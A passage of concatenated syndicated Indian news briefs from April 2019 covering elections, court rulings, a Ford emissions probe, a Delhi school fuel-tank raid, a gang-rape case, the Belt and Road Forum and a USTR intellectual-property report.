GCC and India, Aster Volunteers have been able to treat 193,613 individuals through mobile medical camps, 150,358 people have benefitted from basic life support trainings and 27,408 free surgeries as well as health investigations were conducted, supported with the recruitment of 108 differently abled people and treated 422,694 people through 3061 medical camps. The aid programme in Somali land, Jordan, Bangladesh and Kerala has benefitted 233,488 people. Aster DM Healthcare Limited is one of the largest private healthcare service providers operating in multiple GCC states and is an emerging healthcare player in India. With an inherent emphasis on clinical excellence the Company is one of the few entities in the world with a strong presence across primary, secondary, tertiary and quaternary healthcare through its 21 hospitals, 113 clinics and 219 pharmacies. These are manned by our 17,800+ employees from across the geographies that we are present in, delivering on a simple yet strong promise to its people: 'We'll treat you well'. We reach out to all economic segments in the GCC states through our differentiated healthcare services across the 'Aster', 'Medcare' and 'Access' brands. For more information about us, please visit http://www.asterdmhealthcare.com. DISCLAIMER: Certain statements in this document that are not historical facts are forward looking statements. Such forward-looking statements are subject to certain risks and uncertainties like government actions, local, political or economic developments, technological risks, and many other factors that could cause actual results to differ materially from those contemplated by the relevant forward-looking statements. Aster DM Healthcare will not be in any way responsible for any action taken based on such statements and undertakes no obligation to publicly update these forward-looking statements to reflect subsequent events or circumstances. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) US authorities have opened a criminal probe into Ford's US emissions certification process, the automaker said Friday. Ford in February 2019 "voluntarily disclosed" to US and California regulators a "potential concern" with the program to certify the amount of pollutants emitted by its vehicles. "Subsequently, the US Department of Justice opened a criminal investigation into the matter," the automaker said in a securities filing, stressing that is it did not involve "defeat devices" used by German automaker Volkswagen. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Former Tamil Nadu Minister and senior DMK leader Pongalur N Palanisamy Friday filed his nomination from the Sulur assembly constituency here, where bypoll is scheduled for May 19. Palanisamy was accompanied by another former minister A V Velu, named the party in-charge for the elections. Meanwhile, Naam Tamilar Katchi workers created a ruckus as the vehicle carrying the party candidate Vijayraghavan was not allowed to enter the Sulur Taluk office with the police giving permission to the vehicle belonging to the DMK. Independent candidate Prabhakaran, a social activist, filed his nomination and handed over the deposit amount of Rs 10,000 in the denomination of 10 rupee coins. Seven independents had earlier filed their nominations for the by-poll necessitated due to the death of sitting AIADMK MLA R Kanagaraj two months ago. The ruling AIADMK has fielded P Kandasamy and TTV Dhinakaran-led AMMK has named Sukumar for the bypoll. They are likely to file their nominations in a couple of days. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A 20-year-old college student, who was allegedly gang-raped by four men in July last year, died of medical complications Thursday, following which two of the accused have been arrested, police said. Ankit Parekh (24) and Chirag Vaghela (23), a college student, were held Friday, said inspector K S Dave of Ramol Police Station. Deputy Commissioner of Police Akshayraj Makwana said the woman, adopted by a family when she was an infant, was allegedly raped by four men in July 2018. Because of fear and trauma, she did not tell her family about the rape until last month. When she realised that she had become pregnant because of the rape, she told her family about the incident and they approached police last month, the DCP said. The woman told police that she had been raped by 'Hardik', 'Ankit', 'Raj' and 'Chirag' whose full names she did not know. "The woman took some pills to terminate the unwanted pregnancy and as a result she gave birth to a stillborn child and fell ill. She died at a hospital yesterday due to health complications," Makwana said. From the woman's statement, police first identified Hardik Shukla as one of the accused, he said. Chirag Vaghela and Ankit Parekh were identified and arrested Friday. Shukla and 'Raj' were yet to be traced, the police officer said. Police raided several places across the state while hunting for Shukla but he remained elusive, the DCP said, adding that they have taken his parents' DNA samples to check if he was involved in the crime. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) CPI(M) leader Brinda Karat Friday hit out at union minister and senior BJP leader Giriraj Singh for his comment on the Mulsim community and said he suffers from "foot and mouth disease". Singh was on Thursday booked for violating the model code of conduct for his controversial remarks against the community at a rally in Begusarai on Wednesday in the presence of BJP national president Amit Shah, who was campaigning for him. He had said that members of the community need land even after their death for the burial of their mortal remains. "Giriraj Singh has the disease called 'foot and mouth disease. This shows the of Modi (PM) and Shah (BJP president) who patronise a serial offender by giving ticket to him," Karat told reporters here. In medical parlance the hand, foot and mouth disease is a common viral ailment that usually affects infants and children younger than five years old. Typical symptoms include fever, mouth sores and skin rash. The firebrand BJP leader has courted controversy on a number of occasions on account of his outbursts. His comment ahead of the 2014 Lok Sabha polls that those opposed to Narendra Modi deserved to be deported to Pakistan has led to much lampooning. In the video footage of Singh's brief address at the Wednesday rally, which was telecast by channels, he is heard saying "I would like to say, Giriraj Singh's ancestors died and were cremated. You need a yard of land even after you die, for the burial of your mortal remains. If you say you cannot chant Vande Mataram, this nation will never forget you. "There are many people who are trying to spread communal passions. We will not allow that to happen anywhere in Bihar, including Begusarai. The RJD candidate in Darbhanga recently said he had problems with reciting Vande Mataram", Singh said referring to Abdul Bari Siddiqui's comments on Sunday last. "In Begusarai too, many can be seen spewing venom wearing bade bhai ka kurta and chhote bhai ka pyjama", he said referring to the long shirts and short trousers that are usually associated with devout muslims. Karat referred to the "objectionable" speeches made by Singh, Yogi Adityanath and Pragya Singh Thakur and said that BJP and RSS have "deliberately diverted" the issues of unemployment, women security, GST and demonetisation. Adityanath was issued a showcause by the Election Commission for his "Modiji ki sena" comment which violated its advisory of keeping armed forces away from political campaign. The EC had asked him to be more careful. Malegaon blast accused Pragya Singh Thakur was served notices by the EC for her comments that police officer Hemant Karkare had died in the 26/11 Bombay terror attack as she had "cursed" him for torturing her and that she was proud of Babri Masjid demolition. Singh, is pitted against former JNU student leader and CPI candidate Kanhaiya Kumar and RJDs Tanveer Hasan in a triangular contest in Begusarai. Karat, a CPI-M Politburo member said BJP and RSS have adopted the erstwhile British policy of divide and rule and that people will vote against them. She claimed that Prime Minister Narendra Modi and Shah have become panicky as BJP and RSS have lost their grounds in the elections held so far in the country. As per reports the position of the Left parties will be strengthened, she claimed. We are in the fourth phase of elections and Prime Minister Narendra Modi and Amit Shah are panicky as the BJP and RSS have lost their grounds in three phases of elections held so far across the country. Whenever the PM opens his mouth, he spews venom instead of using words. We find poison in every speech by him," Karat told reporters here. One brand of poison cant replace another poison and the people of West Bengal will not replace the TMC government with BJP. "We are confident that the slogan desh bachao, BJP, RSS Narendra Modi hatao has been well accepted by the people and this is going to happen, she said and exuded confidence that the position of the Left would be strengthened as per reports which had reached her. Left parties performance will be better specially in West Bengal and their representation will increase in Parliament, Karat said adding she had received positive reports on it. She, however, refused to speak on the number of seats that the Left parties expect to win. "BJP will score zero in the south. It is facing tough challenges in Uttar Pradesh and Bihar, while it is on the backfoot in other states," she claimed before leaving for Ujiarpur to campaign for CPI-M candidate Ajay Kumar. Karat also criticized the BJP government for not allowing visitors, specially family members, to meet RJD president Lalu Prasad who is in prison in Ranchi in connection with fodder scam cases. Allowing visitors to a leader serving a sentence is e "minimum humanity" expected of any government. People will not forgive the BJP for this as it is the "worst example of of hatred", she added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Delhi government has found an underground fuel tank in the basement of a prominent private school in Greater Kailash-II, prompting Deputy Chief Minister Manish Sisodia to order an FIR against it for "endangering" the safety of students. Sisodia said the students were sitting on a "ticking bomb". There was no immediate reaction from the management of the school. Addressing a press conference at his official residence here, the deputy chief minister said a team led by a local Sub-Divisional Magistrate (SDM) raided the premises of the K R Mangalam School's GK-II branch on April 20 following parents' complaints and found that the school was illegally storing petrol and diesel in the fuel tank. Sisodia, who is also the minister, said 2,500 litres of diesel was seized from the fuel tank which was filled up with sand. According to the deputy chief minister, several parents came to him on April 16 and complained about a "number of irregularities" on part of the school, including existence of underground fuel tank. "I then ordered the chief secretary to send a team of SDM, Delhi Jal Board, fire department, police and concerned departments to the school. "Our officers found a fuel tank in the basement of school building besides illegal water borewell on the premises. Students were sitting on a ticking bomb in this school," he said, adding it may have led to a major incident in the future. The government probe is underway, he said. "Today, I have ordered an FIR against the school for endangering the safety of students and residents of nearby areas.... "I want to tell parents that if they have any doubt about the safety of their children, they can complain against schools," he said. Sisodia, flanked by AAP's Greater Kailash MLA Saurabh Bharadwaj, said that he held a review meeting on Friday with officers and will interact with parents on the issue on Monday. Asked whether the government will inspect other branches of the school, the deputy chief minister said that if parents file any complaint, such action will be taken. Bharadwaj said he had been getting complaints from parents about major safety lapses on part of the school, and in view of this, he raised the issue with deputy chief minister. "Parents of high profile KR Mangalam School are very concerned after Delhi Govt Inspection found illegal underground fuel tank of 2500 Lts inside school. A ticking bomb "A disaster waiting to happen. Parents in Greater Kailash have been asking for meeting with @msisodia (sic)," Bharadwaj tweeted. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Delhi government has found an underground fuel tank in the basement of a prominent private school in Greater Kailash-II, prompting Deputy Chief Minister Manish Sisodia to order an FIR against it for "endangering" the safety of students. Students were sitting on a "ticking bomb," said Sisodia, who is also the minister. He said 2,500 litres of diesel was seized and the tank has been filled up with sand. The school, however, claimed that it was not aware of any FIR being ordered against it by the Delhi government. "It's an air-conditioned school. In order to ensure continuous supply of power to the air conditioning system, generators, running on diesel, have been installed in the school.The quantity of diesel under reference is within limits permissible under the law. "The diesel is stored underground outside and away from the school building," the school said in response to an e-mail. Addressing a press conference at his official residence here, the deputy chief minister said a team led by a sub-divisional magistrate (SDM) raided the premises of the K R Mangalam School's GK-II branch on April 20 following parents' complaints and found that the school was illegally storing petrol and diesel in the fuel tank. Several parents came to him on April 16 and complained about a "number of irregularities" on part of the school, including existence of an underground fuel tank, according to Sisodia. "I then ordered the chief secretary to send a team of SDM, Delhi Jal Board, fire department, police and departments concerned to the school. "Our officers found a fuel tank in the basement of school building besides illegal water borewell on the premises. Students were sitting on a ticking bomb in this school," he said. Sisodia said that it could have led to a major incident in the future.The government probe is underway, he said. "Today, I have ordered an FIR against the school for endangering the safety of students and residents of nearby areas.... "I want to tell parents that if they have any doubt about the safety of their children, they can complain against schools," he said. Sisodia, flanked by AAP's Greater Kailash MLA Saurabh Bharadwaj, said he held a review meeting on Friday with officers and will interact with parents on the issue on Monday. Asked whether the government will inspect other branches of the school, the deputy chief minister said if parents file any complaint, such action will be taken. Bharadwaj said he had been getting complaints from parents about major safety lapses on part of the school, and in view of this, he raised the issue with the deputy chief minister. "Parents of high profile KR Mangalam School are very concerned after Delhi Govt Inspection found illegal underground fuel tank of 2500 Lts inside school. A ticking bomb "A disaster waiting to happen. Parents in Greater Kailash have been asking for meeting with @msisodia (sic)," Bharadwaj tweeted. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The service records of over 1,100 officers of the (IAS) have been reviewed by the Centre in about past four years to check deadwood from the government, officials said Friday. The review was done by the central government following a strict criteria with respect to officers who had completed 25 years of service or attained 50 years of age, they said. The review of service records of a total of 1,143 was carried out under Rule 16 (3) of All Services (Death-cum-Retirement Benefits ) Rules, 1958 during 2015 and 2018 to check non-performers, the officials said. The rules says that the central government in consultation with the state government concerned may ask an to retire in public interest by giving at least three months previous notice in writing or three months' pay and allowances in lieu of such notice. Of the total of 1,143 officers, four -- two from cadre, one each from Arunachal Pradesh, Goa, and Union Territories (or AGMUT cadre) and cadre-- were recommended for premature retirement from the service in public interest, they said, without disclosing the names of the officers concerned. As many as 5,104 officers of the IAS, considered the 'steel frame' of India, are working across the country, according to a Personnel Ministry data. The officials said there are many states who had not carried out the review despite the Centre's reminder. "The states of Andhra Pradesh, Jammu and Kashmir, Karnataka, Kerala, Telangana, and Uttarakhand have not carried out intensive review of record of officers in respect of 25 years of service," a senior official said citing an official data. He said timely review of service record was necessay to check corruption and deadwood from the governance. "The central government has been following a policy of zero tolerance towards corruption. At the same time it is necessary to conduct a thorough review of officers so that they do not lack in performing their duty towards people. Those found non-performing need to bid good bye from the government service and the ones performing need to be rewarded to ensure god governance," the official added. Union minister Birender Singh, whose son is making his poll debut from Haryana's Hisar seat, said the BJP is yet to decide on his resignation but he has decided to hang his boots in electoral and don't want any "post-retirement" assignment. The veteran Jat leader, who ended his decades-old association with the Congress before the 2014 general election, also said there is no scope for reemergence of the grand old party. The Union steel minister and Rajya Sabha MP on April 14 offered to resign from the two posts, citing BJP's "anti-dynasty politics" stand, after his son, Brijendra Singh, was fielded as the party's candidate from Hisar, the industrial hub of Haryana. "I have done what I should have done but the party leadership has not taken any call yet," the 73-year-old leader told PTI in an interview. "We are in the middle of an election, sometimes resignations can be seen otherwise too, but I have made it very clear that I am ready to relinquish both the posts," he asserted. The grandson of Chhotu Ram, the illustrious farmer leader, said BJP's plank has "always been anti dynasty". "And as far as my dynasty is concerned, it is about 100 years old." "The first election in the country way back in 1922 was contested by my grandfather Chhotu Ram. So we do have a family legacy which can be useful for any outfit," he said. "I have decided to hang my boots in electoral and also made it clear that I don't want any post retirement assignment, be made governor or things like that," the regional satrap added. Singh, who was with the Congress for almost four decades before switching to the saffron party in 2014, was once being considered for Haryana's chief ministership. The Congress rebel believes that the grand old party is "shrinking itself". "Congress, being the oldest party, had a pan-India presence but the moment they started getting into alliances at different places, they themselves began shrinking. Now, months later, they decided to go alone. There is no silver lining or scope for reemergence of Congress," he said. However, Singh believes the BJP too has a lot to do in Haryana. "BJP has come to power in Haryana for the first time in the state's 50 years of existence but there is a lot to do especially in some areas. I want them to establish their credentials in rural Haryana," he said. Haryana's 10 constituencies will go to polls on May 12. Birendra Singh's son is pitted against sitting MP and heavyweight Dushyant Chautala, and Kuldeep Bishnoi's son Bhavya Bishnoi, who is also making his electoral debut. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Madras High Court has been moved seeking a probe by the Election Commission (EC) on the entry of polling staff into a storage room in Madurai where records of the April 18 Lok Sabha polls to the constituency are kept. When a mention was made about the plea, a bench comprising justices S Manikumar and Subramonium Prasad on Friday said it would take up the matter for hearing on Saturday. Senior advocate N R Elango, appearing for CPI(M) candidate Su Venkatesan in the Madurai Lok Sabha constituency, wanted the court to issue a direction to the EC to set up a special investigation team (SIT) headed by an officer not below the rank of principal secretary to look into the matter. A woman tahsildar and three other polling staff were suspended by Tamil Nadu Chief Electoral Officer Satyabrata Sahoo, following an inquiry on a complaint lodged by Venkatesan. Officials have maintained that none entered the room, in which the electronic voting machines (EVMs) used in the poll were sealed and which was under 24-hour surveillance. According to the petitioner, the tahsildar allegedly trespassed into the documents storage room on April 20 without any authority and remained there for three hours. The petitioner has submitted that three staff members of Madurai Municipal Corporation had also accompanied her. Alleging that the unlawful incident would not have occurred without the knowledge of District Collector Natarajan, who is the Returning Officer, he has sought an interim direction for appointment of a special observer of the rank of an IAS officer for counting the postal ballots. Besides, the petitioner has sought three-tier security for the counting centre, transfer of the returning officer and appointment of an SIT. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Delhi High Court on Friday said it was not satisfied with the way the AAP government was proceeding in the matter relating to framing of rules for grievance redress and accountability under the food security law and sought an exact timeline of action. A bench of Chief Justice Rajendra Menon and Justice A J Bhambhani asked a senior officer of Food Supplies and Consumer Affairs Department to appear before it on May 9. "We are not satisfied with the manner in which the respondents are proceeding. We direct the respondent officer to appear before us and tell us the correct and exact timeline on which action will be taken...," the bench said. The court order came after perusing an affidavit filed by the Food Supplies and Consumer Affairs Department in response to a contempt petition by an NGO which claimed that the authorities have failed to comply with the high court's September 2017 directions regarding implementation of grievance redress and accountability measures under the National Food Security Act (NFSA). In the affidavit, the government has informed the court that it is considering framing rules for grievance redress and accountability under the food security law. Petitioner NGO Delhi Rozi Roti Adhikar Abhiyan, in its main petition, has sought disbursal of subsidised foodgrains to beneficiaries under NFSA without Aadhaar cards. The high court in its September 2017 order had directed the Delhi government to examine the Model Rules suggested by the central government on distribution of food by fair price shops and take steps in accordance with the provisions of the NFSA, 2013, in four weeks. The Delhi government's affidavit showed that the file regarding framing of rules for grievance redress has been transferred between various departments and ministries but no concrete action has been taken yet. The affidavit ends by stating that the matter of setting up the statutory grievance redress framework under NFSA as directed by the court is currently under consideration and sought disposal of the contempt plea. It said the minister of food supply and consumer affairs in his note of September 10, 2018, observed that the department was committed to providing 'door step delivery of ration' for which cabinet decision has already been taken and that it would be appropriate that the rules are framed accordingly. The minister directed that while framing of rules, the observations of law department as approved by the law minister may also be kept in mind, the affidavit said. "The department (food supply) examined the matter and proposed vide note dated January 9, 2019, to forward to the law department through the office of minister food supply and consumer affairs on January 9, seeking its opinion on whether the department may incorporate the provision of 'door step delivery of ration' into the grievance redressal rules," it said. In the contempt plea, the NGO alleged there is continuous, wilful and deliberate non-compliance of the court's order. "Non-compliance of the said order is effectively non-implementation of statutory mandates of the NFSA and amounts to denial of access and/ or difficulty to access the fundamental right to food of a vast number of residents of the National Capital Territory of Delhi," it said. The court had in August last year directed the government to submit a timeline for complying with its 2017 direction to examine the model rules suggested by the central government on distribution of food by fair price shops and take steps under the provisions of the national food security law. In the September 2018 order, the court had also asked the state government to examine the provisions of the NFSA and put in place the internal grievance redressal mechanism and District Grievance Redressal Officer. It had said that the state shall examine the provisions regarding creation of the State Food Commission and take appropriate steps in this regard. The NGO had moved the court claiming that some slum dwellers in south Delhi were facing difficulties in getting subsidised foodgrains under the PDS due to lack of Aadhaar cards. Under the NFSA, five kgs of foodgrains per person is provided each month at Rs 1-3 per kg to over 80 crore people. Aadhaar is a 12-digit unique identification number issued by the Unique Identification Authority of India (UIDAI) after collecting biometric data of the citizens. The PIL has sought quashing of the Centre's February 8, 2017 notification making Aadhaar mandatory for availing benefits under the NFSA. The notification came into effect from February 8, 2017 in all states and UTs, except Assam, Meghalaya and Jammu and Kashmir. The petition has said the notification violates the basic principle of law enshrined in Articles 14 (equality) and 21 (right to life) of the Constitution. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Bombay High Court Friday quashed permissions granted to the Maharashtra State Road Development Corporation (MSRDC) for construction of a casting yard on Juhu beach for the Bandra-Versova Sea Link project, observing that it would adversely affect the coastal stretch. A division bench of Chief Justice Pradeep Nandrajog and Justice N M Jamdar allowed a petition filed by activist Zoru Bathena which sought to stop work of the casting yard, saying it was being constructed illegally. "The petition is allowed. The permission granted by authorities concerned is illegal. Permissions granted by the MCZMA (Maharashtra Coastal Zone Management Authority) is quashed and set aside," the court said. On February 26, the MCZMA had given its approval to set up a casting yard at Juhu Koliwada after it was accorded CRZ approval by the Ministry of Environment. Accordingly, the MSRDC was handed over the possession of over 78,000 square metres of area on the beach for the casting yard. The court in its order noted that the land allotted for the temporary yard is on the seaward side of the sandy beach. "Notwithstanding it being stated that the yard would be a temporary yard, but the foot prints left by the yard after the machinery brought to site is removed and temporary structures are removed on completion of the work, would be of a permanent and lasting nature, adversely impacting the coastal stretch in question," the court said in its order. In his petition, Bathena had claimed that the MSRDC had illegally reclaimed a portion of the beach and was dumping mud, which was restricting the sea water supply to the mangroves in the area. Around 7.9 hectare of the beach area was being affected due to the casting yard work, the petition said. Bathena's counsel Gayatri Singh had argued that the construction of the casting yard would result in complete destruction of the natural Juhu Koliwada beach. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Former Himachal Pradesh Chief Minister Virbhadra Singh on Friday accused erstwhile state Congress president Sukhvinder Sukhu of destroying the party. Singh alleged that Sukhu did not do any good for the Congress and "broke the party and destroyed its traditions" when the latter headed the party. The former chief minister also praised present Congress chief Kuldeep Rathore for strengthening the party, saying many important leaders and workers were brought into the party fold during Rathore's short tenure. Singh was in Sirmaur district to address two rallies in Sangrah and Shillai in support of Shimla Congress candidate Dhaniram Shandil. Hitting out at the ruling Bharatiya Janata Party (BJP), Singh claimed people of the state were facing numerous problems as Chief Minister Jai Ram Thakur had no control over the bureaucracy. The state administration is in a mess and there seems to be "no control" over it by its political boss. The government is not working as per the aspirations of the common people, Singh alleged. Singh detailed the development projects in Sirmaur district that were completed or initiated during his tenure as chief minister. All the four Lok Sabha seats of the state goes to polls in the last phase on May 19. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Hotel Leelaventure Friday said its shareholders have approved the resolutions to sell its four hotels, hotel operations, and its shares in the company's arm Leela Palaces and Resorts Ltd by postal ballot. The company, however, said it will abide by the directions of Sebi that none of the transactions proposed in the its postal ballot notice will be acted upon till further directions from the markets regulator. The hotels the sale of which shareholders have approved are in Delhi, Bengaluru, Chennai and Udaipur, Hotel Leelaventure said in a filing to the BSE. The shareholders also gave their nod to the sale of the company's hotel operations undertaking and to the sale of the company's shareholding in Leela Palaces and Resorts Ltd, its wholly-owned subsidiary, it added. All the special resolutions were approved by 86.60 per cent of the votes that were polled, while 13.39 per cent opposed the resolutions, it added. "As directed by Sebi vide its letter dated April 23, 2019, read with its e-mail dated 25th April, 2019, the company will ensure that none of the transactions proposed in the company's postal ballot notice dated March 18, 2019, will be acted upon till further directions from Sebi," Hotel Leelaventure said. On March 18, Hotel Leelaventure Ltd (HLVL) had announced the sale of its four hotels located in Bengaluru, Chennai, Delhi and Udaipur, as well as a property to Canadian investment fund Brookfield for Rs 3,950 crore. It had sought shareholders' approval. The Securities and Exchange Board of India (Sebi) in its letter to Hotel Leelaventure on April 23 said it has received representations from ITC, which has also moved the National Company Law Tribunal against Hotel Leelaventure alleging "oppression and mismanagement", and minority shareholder Life Insurance Corporation (LIC) and, then, it restrained the company from going ahead with the deal till further directives. Shares of Hotel Leelaventure on Friday closed at Rs 10.61 per scrip on the BSE, down 2.12 per cent from its previous close. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Pakistan Prime Minister Imran Khan on Friday called for greater cooperation among the China-backed Belt and Road Initiative (BRI) member countries to promote tourism and combat climate change, corruption and poverty. Pakistan will partner with all those who share the vision for a peaceful and prosperous world, he said while speaking at the 2nd Belt and Road Forum (BRF) here. Khan said that the multi-billion dollar China-Pakistan Economic Corridor (CPEC) is entering the next phase after substantial progress. China is holding the BRF, which provides a platform to countries participating in the BRI, from April 25 to 27 here. The BRI is a multi-billion-dollar initiative launched by Chinese President Xi Jinping when he came to power in 2013. It aims to link Southeast Asia, Central Asia, the Gulf region, Africa and Europe with a network of land and sea routes. The forum is being attended by 36 heads of states and governments besides officials from 150 countries and international organisations. Prime Minister Khan said the BRI, which raised concerns of debt trap, offered a model of collaboration, partnership, connectivity and shared prosperity. India and the US skipped the BRF. India has protested over the USD 60 billion CPEC which is being laid through the Pakistan-occupied Kashmir. CPEC is officially regarded as a flagship project of the China's trillion dollar BRI. The US has termed the BRI as promoting predatory financing leading to heavy debt among smaller countries. Khan's government itself was reported to have planned to cut down some of the CPEC projects soon after it came to power owing to concerns related to debt burden. Addressing the BRF, the Pakistan prime minister said that in a world of geopolitical uncertainty, of rising inequality, and barriers to trade, the BRI offers a model of collaboration, partnership, connectivity and shared prosperity. Pakistan has been among one of the BRI's earliest and most enthusiastic proponents, and the CPEC is, one of the major components and one of its earliest manifestations and it has made substantial progress, he said. Skirting India's criticism of the CPEC as well as its objections, Khan said the CPEC has helped in Pakistan's progress specially filling the critical infrastructure gaps. He said that Pakistan and China are entering the next phase of the CEPC together, with greater emphasis on social economic upliftment, poverty alleviation, agriculture cooperation and industrial development. Both the countries are signing an expanded Pakistan-China Free Trade Agreement, he said. He also mooted cooperation among the countries signed up to BRI climate change cooperation. In the last five years, Pakistan successfully planted five billion trees in Khyber-Pakhtunkhwa province, he said, adding that Pakistan has launched a nationwide project to plant 10 billion trees in the next five years. He suggested that there should be some joint and ambitious projects of planting trees among the BRI countries to mitigate climate change. He suggested the establishment of the BRI tourism corridor to promote people-to-people contacts, inter-cultural understanding and most importantly to establish anti-corruption cooperation to combat the scourge of white-collar crimes. Khan also mooted the creation of a poverty alleviation fund, saying that the aim should be to emulate China's spectacular success in lifting 800 million people out of poverty within a matter of decades. He said that Gwadar, once a small fishing village in Balochistan, is transforming rapidly into a commercial hub and the Gwadar Airport will be the largest in the country. Khan also thanked China and its leadership for the "unwavering support to Pakistan". "Our deep-rooted friendship, partnership and brotherhood with China remains strong, resilient and unbreakable, standing tall in the face of every challenge," he said. Pakistan will continue to work on the basis of mutual respect and equal opportunity, with China and other BRI partners, Khan added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Pakistan Prime Minister Imran Khan on Friday mooted launching of joint projects among the China-backed Belt and Road Initiative (BRI) member countries to promote tourism, combat climate change, corruption and poverty. The multi-billion dollar China-Pakistan Economic Corridor (CPEC) is entering the next phase after substantial progress, Khan said while speaking at the 2nd Belt and Road Forum (BRF) here. China is holding the BRF, which provides a platform to countries participating in the BRI, from April 25 to 27 here. The BRI is a multi-billion-dollar initiative launched by Chinese President Xi Jinping when he came to power in 2013. It aims to link Southeast Asia, Central Asia, the Gulf region, Africa and Europe with a network of land and sea routes. The forum is being attended by 36 heads of states and governments besides officials from 150 countries and international organisations. Prime Minister Khan said the BRI, which raised concerns of debt trap, offered a model of collaboration, partnership, connectivity and shared prosperity. India and the US skipped the BRF. India has protested over the USD 60 billion CPEC which is being laid through the Pakistan-occupied Kashmir. CPEC is officially regarded as a flagship project of the China's trillion dollar BRI. The US has termed the BRI as promoting predatory financing leading to heavy debt among smaller countries. Khan's government itself was reported to have planned to cut down some of the CPEC projects soon after it came to power owing to concerns related to debt burden. Addressing the BRF, the Pakistan prime minister said that in a world of geopolitical uncertainty, of rising inequality, and barriers to trade, the BRI offers a model of collaboration, partnership, connectivity and shared prosperity. Pakistan has been among one of the BRI's earliest and most enthusiastic proponents, and CPEC is, one of the major components and one of its earliest manifestations and it has made substantial progress, he said. Skirting India's criticism of CPEC as well as its objections, Khan said CPEC has helped in Pakistan's progress specially filling the critical infrastructure gaps. He said that Pakistan and China are entering the next phase of CEPC together, with greater emphasis on social economic upliftment, poverty alleviation, agriculture cooperation and industrial development. Both the countries are signing an expanded Pakistan China Free Trade Agreement, he said. He also mooted cooperation among the countries signed up to BRI climate change cooperation. In the last five years, Pakistan successfully planted five billion trees in Khyber-Pakhtunkhwa province, he said, adding that Pakistan has launched a nationwide project to plant 10 billion trees in the next five years. He suggested that there should be some joint and ambitious projects of planting trees among the BRI countries to mitigate climate change. He suggested the establishment of BRI tourism corridor to promote people-to-people contacts, inter-cultural understanding and most importantly to establish anti-corruption cooperation to combat the scourge of white collar crime. Khan has also mooted the creation of a poverty alleviation fund. On April 19, Chinese Foreign Minister Wang Yi said that over 120 countries and international organisations, which have signed up for BRI, sent representatives to take part in the 2nd BRF. Khan also thanked China and its leadership for the unwavering support to Pakistan. The deep-rooted friendship, partnership and brotherhood with China remain strong, resilient and unbreakable, he added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) India continues to remain on the US' 'Priority Watch List' for alleged violations of intellectual property rights and for posing new challenges that have negatively affected American right holders over the past year, the USTR has said. The US Trade Representative (USTR) in its report identified 11 countries, including India, on its 'Priority Watch List'. China, Indonesia, Russia, Saudi Arabia and Venezuela are among others. It has also placed 25 countries, including Pakistan and Turkey, on the Watch List. In the report, the US said that these countries will be the subject of increased bilateral engagement with the USTR to address Intellectual Property (IP) concerns. "Over the past year, India took steps to address intellectual property challenges and promote IP protection and enforcement. However, many of the actions have not yet translated into concrete benefits for innovators and creators, and long-standing deficiencies persist. India remains one of the world's most challenging major economies with respect to protection and enforcement of IP," the report said on Thursday. Specifically, over the coming weeks, the USTR will review the developments against the benchmarks established in the Special 301 action plans for countries that have been on the 'Priority Watch List' for multiple years. For such countries that fail to address US' concerns, the USTR will take appropriate actions, such as enforcement actions under Section 301 of the Trade Act or pursuant to World Trade Organisation or other trade agreement dispute settlement procedures, necessary to combat unfair trade practices and to ensure that trading partners follow through with their international commitments, it said. In its India section of the report, the USTR said that long-standing IP challenges facing US businesses in India include those which make it difficult for innovators to receive and maintain patents in that country, particularly for pharmaceuticals, insufficient enforcement actions, copyright policies that do not properly incentivise the creation and commercialisation of content, and an outdated and insufficient trade secrets legal framework. In addition to these long-standing concerns, India also further restricted the transparency of information provided on state-issued pharmaceutical manufacturing licenses, and expanded the application of patentability exceptions to reject pharmaceutical patents, it alleged. India also missed an opportunity to establish an effective system for protecting against the unfair commercial use, as well as the unauthorised disclosure, of undisclosed test or other data generated to obtain marketing approval for certain agricultural chemical products, the report alleged. According to the USTR, last year it engaged with India to secure meaningful IP reforms on long-standing issues, including patentability criteria, criteria for compulsory licensing, and protection against unfair commercial use, as well as unauthorised disclosure, of test or other data generated to obtain marketing approval for pharmaceutical products. In a warning to India and various other countries, the USTR said that to maintain the integrity and predictability of IP systems, governments should use compulsory licenses only in extremely limited circumstances and after making every effort to obtain authorisation from the patent owner on reasonable commercial terms and conditions. "Such licenses should not be used as a tool to implement industrial policy, including providing advantages to domestic companies, or as undue leverage in pricing negotiations between governments and right holders," it said. As such, it is also critical that foreign governments ensure transparency and due process in any actions related to compulsory licenses, it said. The US will continue to monitor developments and to engage, as appropriate, with trading partners, including India, the report said. In India, rulings by government agencies are attempting to extend the scope of mandatory collective management of rights and statutory license fees for certain types of digital music services, it said. Also, the collection and distribution of royalties to US and other right holders should be carried out on a national treatment basis, it added. At the same time, the report also notes some of the best practices by India in the IP sector last year. For instance, India's Cell for Intellectual Property Rights Promotion and Management (CIPAM) organises and spearheads the government's efforts to simplify and streamline IP processes, increase IP awareness, promote commercialization, and enhance enforcement. The USTR said India has yet to take steps to address long-standing patent issues that affect innovative industries. Patent applicants face costly and time-consuming patent opposition hurdles, long timelines for receiving patents, and excessive reporting requirements, it said. In the pharmaceutical and agricultural chemical sectors, it said India continues to lack an effective system for protecting against the unfair commercial use, as well as the unauthorised disclosure, of undisclosed test or other data generated to obtain marketing approval for such products. It alleged that despite India's justifications of limiting IP protections as a way to promote access to technologies, New Delhi maintains extremely high customs duties directed to IP-intensive products, such as medical devices, pharmaceuticals, information communications technology products, solar energy equipment and capital goods. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) An Indian man who lived in the UAE has been killed in the massive Easter Sunday bombings in Sri Lanka, officials here said. At least 253 people were killed and over 500 others injured when suicide bombers blew up churches and luxury hotels in Sri Lanka on April 21, the country's worst terror attack claimed by the ISIS terror group. Juno Srivastava, 42, the General IT Manager of 